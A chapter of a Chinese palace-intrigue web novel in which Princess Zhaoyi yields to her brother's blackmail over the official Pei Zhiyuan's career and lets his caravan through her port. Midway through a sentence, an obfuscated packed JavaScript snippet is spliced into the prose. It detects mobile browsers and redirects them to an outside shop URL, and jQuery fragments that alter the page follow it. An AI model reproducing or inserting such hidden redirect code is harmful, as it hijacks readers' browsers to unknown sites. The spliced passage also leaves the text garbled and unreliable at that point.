自太后回宫,宫中礼宴后,京中再无大事。
就这样一日日过去,直至暑气尽消,秋意渐浓。
安澜阁中,桂子飘香,池畔枫叶初染胭脂色,一片两片落在水面,随波轻荡。
自雨亭中流水暂停,换上了隔风的暖帐。
池边枫叶映着斜阳,红得像烧起来的火。
虞璟瑶与珈珞二人在亭中品茶赏枫,好不逍遥。
不多时,阿水提着药箱回来,见珈珞在这里,没好气地撇了撇嘴。
“珈珞自己也开了府,还日日赖在长姐府中,倒是自在。”
珈珞扬了扬下巴,颇有些理直气壮。
“本宫现在身为大柔宗女,自然也是昭懿姐姐的妹妹。”
“自家姊妹的府邸,你住得,本宫又为何住不得。”
“你你你,牙尖嘴利!”
“好了。”虞璟瑶出言制止二人斗嘴,“你们俩一天天斗来斗去,不累吗?”
“哼!”阿水把药箱往旁边一放,扭过头去。
珈珞好笑地看着她,“再哼,我那庄子后山种的半坡药材,全给你掘了!”
“你!”阿水气急,转向虞璟瑶,一脸委屈,“长姐!你看看她!”
“好了,你少逗她了。”虞璟瑶冲珈珞睨了一眼,转头点了点阿水的额头。
“你也是,珈珞匀了半个庄子给你种药,你还成日与她斗嘴。”
“再吵闹,晚饭你二人皆不许吃!”
自雨亭中的小小风波,终是被身为长姐的昭懿各打二十大板平息。
晚饭时分,三人正用着膳。
春茗拿着帖子上前禀报。
“殿下,顺郡王派人递了帖子,请您明日过府一叙。”
“三皇兄?”虞璟瑶接过帖子,寥寥几眼,眉梢微挑。
“姐姐?”珈珞面带忧色,搁下筷箸。
“没什么,三皇兄约我去他府上喝茶。”虞璟瑶微微一笑,将帖子合上。
“无事不登三宝殿,他定是没安好心思。”阿水撇了撇嘴,声音不大不小。
端贤太子之死,她是直接知情者,因此对这几位皇子,向来没好脸色。
虞璟瑶将帖子递给春茗。
“你帮我给皇兄回信,就说本宫明日过府叨扰。”
“是。”春茗躬身退下。
“姐姐……”珈珞面露迟疑,“三皇子和崔家向来与你不对付,你何必赴他的约。”
“放心吧,我心里有数。”虞璟瑶拍了拍她的手,面露安抚,“好了,吃饭吧。”
翌日,顺郡王府。
马车在府门前停下,虞璟瑶抬眼望去。
这府邸原是前朝旧宅,规制不高,却胜在古朴雅致。
朱漆大门已有年头,门侧的楹联是前朝某位老臣的字迹。
立柱木痕斑驳,诉说着几分沧桑。
山毫早已在门外等候,见她下车,连忙躬身行礼。
“属下参见昭懿公主。王爷已在园中恭候多时。”
虞璟瑶颔首,随他入府。
穿过垂花门,绕过照壁,眼前景象豁然开朗。
庭院深深,假山池沼错落有致。
曲径通幽,一草一木皆见匠心。
廊下挂着几只精致的鸟笼,画眉鸟正婉转啼鸣。
“昭懿公主,这边请。”
山毫引着她又穿过一道月洞门,一座水榭出现在眼前。
榭中陈设素朴,紫檀木的桌椅,案上摆着简单的青瓷茶具。
一旁的多宝阁上密密陈列着旧书与几方古砚,并无多少奇珍,却自然一股清雅气度。
水榭三面环水,池中锦鲤游弋。
偶有落叶飘下,惊起圈圈涟漪。
虞璟枢正坐在榭中,面前摆着一局残棋。
见她到来,起身相迎,面上带着温和的笑意。
“昭懿妹妹来了,快请坐。”
虞璟瑶在他对面落座,扫了一眼四周的陈设。
“三皇兄这府邸倒是雅致,怪不得父皇连连夸赞。”
虞璟枢亲自给她斟了茶,将茶盏推到她面前。
“妹妹说笑了。愚兄不过是不喜铺张,捡个旧宅子住着罢了。”
“这茶是今年新出的,妹妹尝尝。”
虞璟瑶端起茶盏,轻轻嗅了嗅,抿了一口。
“果然好茶。”
两人寒暄几句,虞璟枢指着棋盘笑道:
“这棋摆了半天,就等妹妹来破。”
虞璟瑶看了一眼棋盘,拈起一枚白子落下。
“三皇兄今日约我,总不会只是为了下棋吧?”
虞璟枢笑了笑,也落下一子。
“妹妹这话说的。兄妹之间,无事便不能相聚了?”
两人对弈数手,茶过两盏,虞璟枢忽然从袖中取出一份帖子,轻轻推到她面前。
“妹妹请看。”
虞璟瑶接过,只扫了一眼,瞳孔微缩。
那是一份御史台的奏疏底稿。
内容是弹劾工部都水司郎中裴知远,言行不谨,有辱斯文。
与昭懿公主过从甚密,有伤风化。
虞璟瑶暗自冷笑,面色丝毫未变,随手将帖子合上,放回桌面。
“世人皆知,裴知远是诚国公府门客。”
“臣妹见他有些才学,举荐一二罢了。”
“御史台拿这个说事,未免可笑。”
虞璟枢端起茶盏,抿了一口。
“妹妹说得是。你如今贵为公主,别说举荐个门客,便是豢养一二面首,谁又能说什么?”
他放下茶盏,目光落在对方脸上,一字一顿。
“可裴知远呢?”
虞璟瑶端起茶盏的手微微一颤,神色微僵。
虞璟枢看在眼中,心中得意。
却故意叹了口气,语气里带了几分惋惜。
“他一个寒门子弟,苦读多年才中了状元。”
“如今好不容易在工部站稳脚跟,眼看着前途大好。”
“若是沾上‘攀附权贵,媚伺公主’的名声,日后朝堂之上……”
他话未说尽,虞璟瑶攥着茶盏的手指却越发收紧。
她抬起头,直视虞璟枢,语带寒霜。
“三皇兄有话,不妨直说。”
虞璟枢笑了,从袖中又取出一份通关文牒,推到她面前。
“愚兄麾下有支商队,近来想同西海那边做些买卖。”
“只是一应货物要过碧涛口岸,需得妹妹高抬贵手,行个方便。”
虞璟瑶拿起文牒看了看,抬眸看他。
“三皇兄所运何物?”
虞璟枢笑意更深,站起身居高临下俯视于她。
“妹妹若能睁一只眼闭一只眼,不探究、不过问,守口如瓶……”
“为兄向你保证,待裴知远日后回京述职,本王定保他一个工部侍郎之位。”
虞璟瑶沉默良久。
窗外日光落在她脸上,映出眼底复杂的光。
她将那通关文牒轻轻放下,唇角微微弯起。
“三皇兄倒是舍得下本钱。”
虞璟枢坐回位置,弯唇浅笑:“妹妹觉得如何?”
虞璟瑶端起茶盏,抿了一口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336998|195337||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“三皇兄的商队,臣妹可以放行。”
虞璟枢眸光一亮。
“只不过……”虞璟瑶放下茶盏,话锋一转。
“三皇兄也该知道,碧涛州是臣妹的封地。往来货物,总要有个名目。”
“三皇兄要运什么,臣妹可以不问。但文牒上,得写得冠冕堂皇些,好让底下的人照章办事。”
虞璟枢闻言,笑意更深。
“妹妹放心,愚兄自然省得。”
“此事仰仗妹妹襄助,愚兄不胜感激。”
他站起身,朝对方拱了拱手。
虞璟瑶起身回礼。
“三皇兄客气。”
“时候不早了,臣妹不便叨扰,先告辞了。”
虞璟枢亲自送她出了水榭,直到对方身影消失在月洞门后,才转身回去。
山毫凑上来低声道:“王爷,昭懿公主她……”
虞璟枢摆了摆手,唇角噙着笑意。
“她是个聪明人。知道什么该问,什么不该问。”
“去安排吧。那批货,可以动了。”
他们不知道的是,此刻【万界书】上,众仙愤愤不平。
「三皇子这什么意思?拿裴知远的前程威胁女主?」
「弹劾裴知远?他也配!裴知远的状元可是实打实自己考出来的!」
「通关文牒换侍郎之位,这不是明摆着交易吗?」
「三皇子也太不要脸了,拿人家前程做筹码」
「女主别答应他!这种人越让步越得寸进尺!」
「可裴知远要是真被弹劾,苦读多年就打水漂了。」
「唉,女主也是为了护着裴知远吧,不然怎么会答应」
「三皇子这嘴脸真恶心,当面笑嘻嘻,背后捅刀子」
「裴知远还在外放呢,人都不在京里,就被盯上了」
「女主也是两难啊,一边是裴知远的前程,一边是三皇子的条件」
「求后续!!想看女主怎么破局!!想看裴知远回来!!」
「三皇子这种人,迟早遭报应」
虞璟瑶一条条划过「信笺」,面上未有愠色,神色只是寻常。
合上【万界书】,她的视线望向车窗外渐次亮起的街灯,喃喃自语。
“时间过得真快啊,一晃一年过去了。”
与此同时,远在汤淮的裴知远,莫名重重打了个喷嚏。
他揉了揉鼻子,抬头望了望天。
天色已暗,堤坝上的火把燃得正旺。
远处传来民工们收工的吆喝声,和着河水拍岸的节奏,格外安宁。
身边的书吏凑过来,关切道:“裴大人可是受了风寒?这几日秋凉,大人也该添件衣裳了。”
裴知远摇了摇头,将手中的图纸卷好。
“无妨。今日这段堤坝可算合龙了?”
书吏笑道:“大人放心,水泥浇得结实,比往年用的三合土强了不知多少。”
“百姓们都说,大人这是给汤淮修了一道铜墙铁壁。”
裴知远唇角微微弯起,目光投向远处灯火阑珊的村落。
“明年汛期,这里的百姓可以睡个安稳觉了。”
他顿了顿,忽然又想起什么。
“京中可有信来?”
书吏点点头:“晌午刚到,已给大人放在案上。”
裴知远面露期待之色,将图纸收进怀里,转身往营地走去。
走出几步,他忽然又停下,回头望了一眼京城的方向。
夜色茫茫,什么也看不见。
他轻轻笑了一下,继续前行。